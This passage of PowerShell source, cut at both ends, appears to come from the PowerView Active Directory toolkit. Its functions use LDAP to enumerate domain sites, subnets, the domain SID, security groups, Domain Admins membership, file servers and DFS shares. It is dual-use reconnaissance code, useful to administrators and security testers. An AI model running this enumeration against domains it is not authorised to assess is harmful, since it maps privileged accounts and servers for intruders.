the ADS paths of the OUs\n                        $_.properties.adspath\n                    }\n                }\n                $Results.dispose()\n                $OUSearcher.dispose()\n            }\n            catch {\n                Write-Warning $_\n            }\n        }\n    }\n}\n\n\nfunction Get-NetSite {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current sites in a domain.\n\n    .PARAMETER SiteName\n\n        Site filter string, wildcards accepted.\n\n    .PARAMETER Domain\n\n        The domain to query for sites, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through.\n\n    .PARAMETER GUID\n\n        Only return site with the specified GUID in their gplink property.\n\n    .PARAMETER FullData\n\n        Switch. Return full site objects instead of just object names (the default).\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetSite -Domain testlab.local -FullData\n        \n        Returns the full data objects for all sites in testlab.local\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $SiteName = \"*\",\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $GUID,\n\n        [Switch]\n        $FullData,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix \"CN=Sites,CN=Configuration\" -PageSize $PageSize\n    }\n    process {\n        if($SiteSearcher) {\n\n            if ($GUID) {\n                # if we're filtering for a GUID in .gplink\n                $SiteSearcher.filter=\"(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))\"\n            }\n            else {\n                $SiteSearcher.filter=\"(&(objectCategory=site)(name=$SiteName))\"\n            }\n            \n            try {\n                $Results = $SiteSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    if ($FullData) {\n                        # convert/process the LDAP fields for each result\n                        $Site = Convert-LDAPProperty -Properties $_.Properties\n                        $Site.PSObject.TypeNames.Add('PowerView.Site')\n                        $Site\n                    }\n                    else {\n                        # otherwise just return the site name\n                        $_.properties.name\n                    }\n                }\n                $Results.dispose()\n                $SiteSearcher.dispose()\n            }\n            catch {\n                Write-Verbose $_\n            }\n        }\n    }\n}\n\n\nfunction Get-NetSubnet {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current subnets in a domain.\n\n    .PARAMETER SiteName\n\n        Only return subnets from the specified SiteName.\n\n    .PARAMETER Domain\n\n        The domain to query for subnets, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through.\n\n    .PARAMETER FullData\n\n        Switch. Return full subnet objects instead of just object names (the default).\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetSubnet\n        \n        Returns all subnet names in the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetSubnet -Domain testlab.local -FullData\n        \n        Returns the full data objects for all subnets in testlab.local\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $SiteName = \"*\",\n\n        [String]\n        $Domain,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $FullData,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix \"CN=Subnets,CN=Sites,CN=Configuration\" -PageSize $PageSize\n    }\n\n    process {\n        if($SubnetSearcher) {\n\n            $SubnetSearcher.filter=\"(&(objectCategory=subnet))\"\n\n            try {\n                $Results = $SubnetSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    if ($FullData) {\n                        # convert/process the LDAP fields for each result\n                        Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match \"CN=$SiteName\" }\n                    }\n                    else {\n                        # otherwise just return the subnet name and site name\n                        if ( ($SiteName -and ($_.properties.siteobject -match \"CN=$SiteName,\")) -or ($SiteName -eq '*')) {\n\n                            $SubnetProperties = @{\n                                'Subnet' = $_.properties.name[0]\n                            }\n                            try {\n                                $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(\",\")[0]\n                            }\n                            catch {\n                                $SubnetProperties['Site'] = 'Error'\n                            }\n\n                            New-Object -TypeName PSObject -Property $SubnetProperties\n                        }\n                    }\n                }\n                $Results.dispose()\n                $SubnetSearcher.dispose()\n            }\n            catch {\n                Write-Warning $_\n            }\n        }\n    }\n}\n\n\nfunction Get-DomainSID {\n<#\n    .SYNOPSIS\n\n        Gets the SID for the domain.\n\n    .PARAMETER Domain\n\n        The domain to query, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .EXAMPLE\n\n        C:\\> Get-DomainSID -Domain TEST\n        \n        Returns SID for the domain 'TEST'\n#>\n\n    param(\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController\n    )\n\n    $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid\n    if($DCSID) {\n        $DCSID.Substring(0, $DCSID.LastIndexOf('-'))\n    }\n    else {\n        Write-Verbose \"Error extracting domain SID for $Domain\"\n    }\n}\n\n\nfunction Get-NetGroup {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current groups in a domain, or all\n        the groups a given user/group object belongs to.\n\n    .PARAMETER GroupName\n\n        The group name to query for, wildcards accepted.\n\n    .PARAMETER SID\n\n        The group SID to query for.\n\n    .PARAMETER UserName\n\n        The user name (or group name) to query for all effective\n        groups of.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n\n    .PARAMETER Domain\n\n        The domain to query for groups, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER AdminCount\n\n        Switch. Return group with adminCount=1.\n\n    .PARAMETER FullData\n\n        Switch. Return full group objects instead of just object names (the default).\n\n    .PARAMETER RawSids\n\n        Switch. Return raw SIDs when using \"Get-NetGroup -UserName X\"\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .PARAMETER AllTypes\n\n        By default we will retrieve only Security, not Distribution Groups.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGroup\n\n        Returns the current security groups in the domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGroup -GroupName *admin*\n\n        Returns all groups with \"admin\" in their group name.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGroup -Domain testing -FullData\n\n        Returns full group data objects in the 'testing' domain\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $GroupName = '*',\n\n        [String]\n        $SID,\n\n        [String]\n        $UserName,\n\n        [String]\n        $Filter,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $AdminCount,\n\n        [Switch]\n        $FullData,\n\n        [Switch]\n        $RawSids,\n\n        [Switch]\n        $AllTypes,\n\n        [ValidateRange(1,10000)]\n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n        if (!$AllTypes)\n        {\n          $Filter += \"(groupType:1.2.840.113556.1.4.803:=2147483648)\"\n        }\n    }\n\n    process {\n        if($GroupSearcher) {\n\n            if($AdminCount) {\n                Write-Verbose \"Checking for adminCount=1\"\n                $Filter += \"(admincount=1)\"\n            }\n\n            if ($UserName) {\n                # get the raw user object\n                $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1\n\n                if($User) {\n                    # convert the user to a directory entry\n                    $UserDirectoryEntry = $User.GetDirectoryEntry()\n\n                    # cause the cache to calculate the token groups for the user\n                    $UserDirectoryEntry.RefreshCache(\"tokenGroups\")\n\n                    $UserDirectoryEntry.TokenGroups | ForEach-Object {\n                        # convert the token group sid\n                        $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value\n\n                        # ignore the built in groups\n                        if($GroupSid -notmatch '^S-1-5-32-.*') {\n                            if($FullData) {\n                                $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential\n                                $Group.PSObject.TypeNames.Add('PowerView.Group')\n                                $Group\n                            }\n                            else {\n                                if($RawSids) {\n                                    $GroupSid\n                                }\n                                else {\n                                    Convert-SidToName -SID $GroupSid\n                                }\n                            }\n                        }\n                    }\n                }\n                else {\n                    Write-Warning \"UserName '$UserName' failed to resolve.\"\n                }\n            }\n            else {\n                if ($SID) {\n                    $GroupSearcher.filter = \"(&(objectCategory=group)(objectSID=$SID)$Filter)\"\n                }\n                else {\n                    $GroupSearcher.filter = \"(&(objectCategory=group)(samaccountname=$GroupName)$Filter)\"\n                }\n\n                $Results = $GroupSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    # if we're returning full data objects\n                    if ($FullData) {\n                        # convert/process the LDAP fields for each result\n                        $Group = Convert-LDAPProperty -Properties $_.Properties\n                        $Group.PSObject.TypeNames.Add('PowerView.Group')\n                        $Group\n                    }\n                    else {\n                        # otherwise we're just returning the group name\n                        $_.properties.samaccountname\n                    }\n                }\n                $Results.dispose()\n                $GroupSearcher.dispose()\n            }\n        }\n    }\n}\n\n\nfunction Get-NetGroupMember {\n<#\n    .SYNOPSIS\n\n        This function users [ADSI] and LDAP to query the current AD context\n        or trusted domain for users in a specified group. If no GroupName is\n        specified, it defaults to querying the \"Domain Admins\" group.\n        This is a replacement for \"net group 'name' /domain\"\n\n    .PARAMETER GroupName\n\n        The group name to query for users.\n\n    .PARAMETER SID\n\n        The Group SID to query for users. If not given, it defaults to 512 \"Domain Admins\"\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n\n    .PARAMETER Domain\n\n        The domain to query for group users, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER FullData\n\n        Switch. Returns full data objects instead of just group/users.\n\n    .PARAMETER Recurse\n\n        Switch. If the group member is a group, recursively try to query its members as well.\n\n    .PARAMETER UseMatchingRule\n\n        Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.\n        Much faster than manual recursion, but doesn't reveal cross-domain groups.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGroupMember\n        \n        Returns the usernames that of members of the \"Domain Admins\" domain group.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetGroupMember -Domain testing -GroupName \"Power Users\"\n        \n        Returns the usernames that of members of the \"Power Users\" group in the 'testing' domain.\n\n    .LINK\n\n        http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $GroupName,\n\n        [String]\n        $SID,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $FullData,\n\n        [Switch]\n        $Recurse,\n\n        [Switch]\n        $UseMatchingRule,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        if($DomainController) {\n            $TargetDomainController = $DomainController\n        }\n        else {\n            $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name\n        }\n\n        if($Domain) {\n            $TargetDomain = $Domain\n        }\n        else {\n            $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name\n        }\n\n        # so this isn't repeated if users are passed on the pipeline\n        $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n    }\n\n    process {\n        if ($GroupSearcher) {\n            if ($Recurse -and $UseMatchingRule) {\n                # resolve the group to a distinguishedname\n                if ($GroupName) {\n                    $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize\n                }\n                elseif ($SID) {\n                    $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize\n                }\n                else {\n                    # default to domain admins\n                    $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + \"-512\"\n                    $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize\n                }\n                $GroupDN = $Group.distinguishedname\n                $GroupFoundName = $Group.samaccountname\n\n                if ($GroupDN) {\n                    $GroupSearcher.filter = \"(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)\"\n                    $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))\n\n                    $Members = $GroupSearcher.FindAll()\n                    $GroupFoundName = $GroupName\n                }\n                else {\n                    Write-Error \"Unable to find Group\"\n                }\n            }\n            else {\n                if ($GroupName) {\n                    $GroupSearcher.filter = \"(&(objectCategory=group)(samaccountname=$GroupName)$Filter)\"\n                }\n                elseif ($SID) {\n                    $GroupSearcher.filter = \"(&(objectCategory=group)(objectSID=$SID)$Filter)\"\n                }\n                else {\n                    # default to domain admins\n                    $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + \"-512\"\n                    $GroupSearcher.filter = \"(&(objectCategory=group)(objectSID=$SID)$Filter)\"\n                }\n\n                try {\n                    $Result = $GroupSearcher.FindOne()\n                }\n                catch {\n                    $Members = @()\n                }\n\n                $GroupFoundName = ''\n\n                if ($Result) {\n                    $Members = $Result.properties.item(\"member\")\n\n                    if($Members.count -eq 0) {\n\n                        $Finished = $False\n                        $Bottom = 0\n                        $Top = 0\n\n                        while(!$Finished) {\n                            $Top = $Bottom + 1499\n                            $MemberRange=\"member;range=$Bottom-$Top\"\n                            $Bottom += 1500\n                            \n                            $GroupSearcher.PropertiesToLoad.Clear()\n                            [void]$GroupSearcher.PropertiesToLoad.Add(\"$MemberRange\")\n                            [void]$GroupSearcher.PropertiesToLoad.Add(\"samaccountname\")\n                            try {\n                                $Result = $GroupSearcher.FindOne()\n                                $RangedProperty = $Result.Properties.PropertyNames -like \"member;range=*\"\n                                $Members += $Result.Properties.item($RangedProperty)\n                                $GroupFoundName = $Result.properties.item(\"samaccountname\")[0]\n\n                                if ($Members.count -eq 0) { \n                                    $Finished = $True\n                                }\n                            }\n                            catch [System.Management.Automation.MethodInvocationException] {\n                                $Finished = $True\n                            }\n                        }\n                    }\n                    else {\n                        $GroupFoundName = $Result.properties.item(\"samaccountname\")[0]\n                        $Members += $Result.Properties.item($RangedProperty)\n                    }\n                }\n                $GroupSearcher.dispose()\n            }\n\n            $Members | Where-Object {$_} | ForEach-Object {\n                # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion\n                if ($Recurse -and $UseMatchingRule) {\n                    $Properties = $_.Properties\n                } \n                else {\n                    if($TargetDomainController) {\n                        $Result = [adsi]\"LDAP://$TargetDomainController/$_\"\n                    }\n                    else {\n                        $Result = [adsi]\"LDAP://$_\"\n                    }\n                    if($Result){\n                        $Properties = $Result.Properties\n                    }\n                }\n\n                if($Properties) {\n\n                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype\n\n                    if ($FullData) {\n                        $GroupMember = Convert-LDAPProperty -Properties $Properties\n                    }\n                    else {\n                        $GroupMember = New-Object PSObject\n                    }\n\n                    $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain\n                    $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName\n\n                    if($Properties.objectSid) {\n                        $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)\n                    }\n                    else {\n                        $MemberSID = $Null\n                    }\n\n                    try {\n                        $MemberDN = $Properties.distinguishedname[0]\n\n                        if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {\n                            try {\n                                if(-not $MemberSID) {\n                                    $MemberSID = $Properties.cn[0]\n                                }\n                                $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'\n                                if($MemberSimpleName) {\n                                    $MemberDomain = $MemberSimpleName.Split('@')[1]\n                                }\n                                else {\n                                    Write-Warning \"Error converting $MemberDN\"\n                                    $MemberDomain = $Null\n                                }\n                            }\n                            catch {\n                                Write-Warning \"Error converting $MemberDN\"\n                                $MemberDomain = $Null\n                            }\n                        }\n                        else {\n                            # extract the FQDN from the Distinguished Name\n                            $MemberDomain = $MemberDN.subString($MemberDN.IndexOf(\"DC=\")) -replace 'DC=','' -replace ',','.'\n                        }\n                    }\n                    catch {\n                        $MemberDN = $Null\n                        $MemberDomain = $Null\n                    }\n\n                    if ($Properties.samaccountname) {\n                        # forest users have the samAccountName set\n                        $MemberName = $Properties.samaccountname[0]\n                    } \n                    else {\n                        # external trust users have a SID, so convert it\n                        try {\n                            $MemberName = Convert-SidToName $Properties.cn[0]\n                        }\n                        catch {\n                            # if there's a problem contacting the domain to resolve the SID\n                            $MemberName = $Properties.cn\n                        }\n                    }\n\n                    $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain\n                    $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName\n                    $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID\n                    $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup\n                    $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN\n                    $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')\n                    $GroupMember\n\n                    # if we're doing manual recursion\n                    if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {\n                        if($FullData) {\n                            Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize\n                        }\n                        else {\n                            Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n\nfunction Get-NetFileServer {\n<#\n    .SYNOPSIS\n\n        Returns a list of all file servers extracted from user \n        homedirectory, scriptpath, and profilepath fields.\n\n    .PARAMETER Domain\n\n        The domain to query for user file servers, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER TargetUsers\n\n        An array of users to query for file servers.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetFileServer\n        \n        Returns active file servers.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetFileServer -Domain testing\n        \n        Returns active file servers for the 'testing' domain.\n#>\n\n    [CmdletBinding()]\n    param(\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String[]]\n        $TargetUsers,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    function SplitPath {\n        # short internal helper to split UNC server paths\n        param([String]$Path)\n\n        if ($Path -and ($Path.split(\"\\\\\").Count -ge 3)) {\n            $Temp = $Path.split(\"\\\\\")[2]\n            if($Temp -and ($Temp -ne '')) {\n                $Temp\n            }\n        }\n    }\n    $filter = \"(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))\"\n    Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {\n            # filter for any target users\n            if($TargetUsers) {\n                $TargetUsers -Match $_.samAccountName\n            }\n            else { $True }\n        } | ForEach-Object {\n            # split out every potential file server path\n            if($_.homedirectory) {\n                SplitPath($_.homedirectory)\n            }\n            if($_.scriptpath) {\n                SplitPath($_.scriptpath)\n            }\n            if($_.profilepath) {\n                SplitPath($_.profilepath)\n            }\n\n        } | Where-Object {$_} | Sort-Object -Unique\n}\n\n\nfunction Get-DFSshare {\n<#\n    .SYNOPSIS\n\n        Returns a list of all fault-tolerant distributed file\n        systems for a given domain.\n\n    .PARAMETER Version\n\n        The version of DFS to query for servers.\n        1/v1, 2/v2, or all\n\n    .PARAMETER Domain\n\n        The domain to query for user DFS shares, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DFSshare\n\n        Returns all distributed file system shares for the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DFSshare -Domain test\n\n        Returns all distributed file system shares for the 'test' domain.\n#>\n\n    [CmdletBinding()]\n    param(\n        [String]\n        [ValidateSet(\"All\",\"V1\",\"1\",\"V2\",\"2\")]\n        $Version = \"All\",\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    function Parse-Pkt {\n        [CmdletBinding()]\n        param(\n            [byte[]]\n            $Pkt\n        )\n\n        $bin = $Pkt\n        $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)\n        $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)\n        $offset = 8\n        #https://msdn.microsoft.com/en-us/library/cc227147.aspx\n        $object_list = @()\n        for($i=1; $i -le $blob_element_count; $i++){\n               $blob_name_size_start = $offset\n               $blob_name_size_end = $offset + 1\n               $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)\n\n               $blob_name_start = $blob_name_size_end + 1\n               $blob_name_end = $blob_name_start + $blob_name_size - 1\n               $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])\n\n               $blob_data_size_start = $blob_name_end + 1\n               $blob_data_size_end = $blob_data_size_start + 3\n               $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)\n\n               $blob_data_start = $blob_data_size_end + 1\n               $blob_data_end = $blob_data_start + $blob_data_size - 1\n               $blob_data = $bin[$blob_data_start..$blob_data_end]\n               switch -wildcard ($blob_name) {\n                \"\\siteroot\" {  }\n                \"\\domainroot*\" {\n                    # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...\n                    # DFSRootOrLinkIDBlob\n                    $root_or_link_guid_start = 0\n                    $root_or_link_guid_end = 15\n                    $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]\n                    $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str\n                    $prefix_size_start = $root_or_link_guid_end + 1\n                    $prefix_size_end = $prefix_size_start + 1\n                    $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)\n                    $prefix_start = $prefix_size_end + 1\n                    $prefix_end = $prefix_start + $prefix_size - 1\n                    $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])\n\n                    $short_prefix_size_start = $prefix_end + 1\n                    $short_prefix_size_end = $short_prefix_size_start + 1\n                    $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)\n                    $short_prefix_start = $short_prefix_size_end + 1\n                    $short_prefix_end = $short_prefix_start + $short_prefix_size - 1\n                    $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])\n\n                    $type_start = $short_prefix_end + 1\n                    $type_end = $type_start + 3\n                    $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)\n\n                    $state_start = $type_end + 1\n                    $state_end = $state_start + 3\n                    $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)\n\n                    $comment_size_start = $state_end + 1\n                    $comment_size_end = $comment_size_start + 1\n                    $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)\n                    $comment_start = $comment_size_end + 1\n                    $comment_end = $comment_start + $comment_size - 1\n                    if ($comment_size -gt 0)  {\n                        $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])\n                    }\n                    $prefix_timestamp_start = $comment_end + 1\n                    $prefix_timestamp_end = $prefix_timestamp_start + 7\n                    # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME\n                    $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime\n                    $state_timestamp_start = $prefix_timestamp_end + 1\n                    $state_timestamp_end = $state_timestamp_start + 7\n                    $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]\n                    $comment_timestamp_start = $state_timestamp_end + 1\n                    $comment_timestamp_end = $comment_timestamp_start + 7\n                    $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]\n                    $version_start = $comment_timestamp_end  + 1\n                    $version_end = $version_start + 3\n                    $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)\n\n                    # Parse rest of DFSNamespaceRootOrLinkBlob here\n                    $dfs_targetlist_blob_size_start = $version_end + 1\n                    $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3\n                    $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)\n\n                    $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1\n                    $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1\n                    $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]\n                    $reserved_blob_size_start = $dfs_targetlist_blob_end + 1\n                    $reserved_blob_size_end = $reserved_blob_size_start + 3\n                    $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)\n\n                    $reserved_blob_start = $reserved_blob_size_end + 1\n                    $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1\n                    $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]\n                    $referral_ttl_start = $reserved_blob_end + 1\n                    $referral_ttl_end = $referral_ttl_start + 3\n                    $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)\n\n                    #Parse DFSTargetListBlob\n                    $target_count_start = 0\n                    $target_count_end = $target_count_start + 3\n                    $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)\n                    $t_offset = $target_count_end + 1\n\n                    for($j=1; $j -le $target_count; $j++){\n                        $target_entry_size_start = $t_offset\n                        $target_entry_size_end = $target_entry_size_start + 3\n                        $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)\n                        $target_time_stamp_start = $target_entry_size_end + 1\n                        $target_time_stamp_end = $target_time_stamp_start + 7\n                        # FILETIME again or special if priority rank and priority class 0\n                        $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]\n                        $target_state_start = $target_time_stamp_end + 1\n                        $target_state_end = 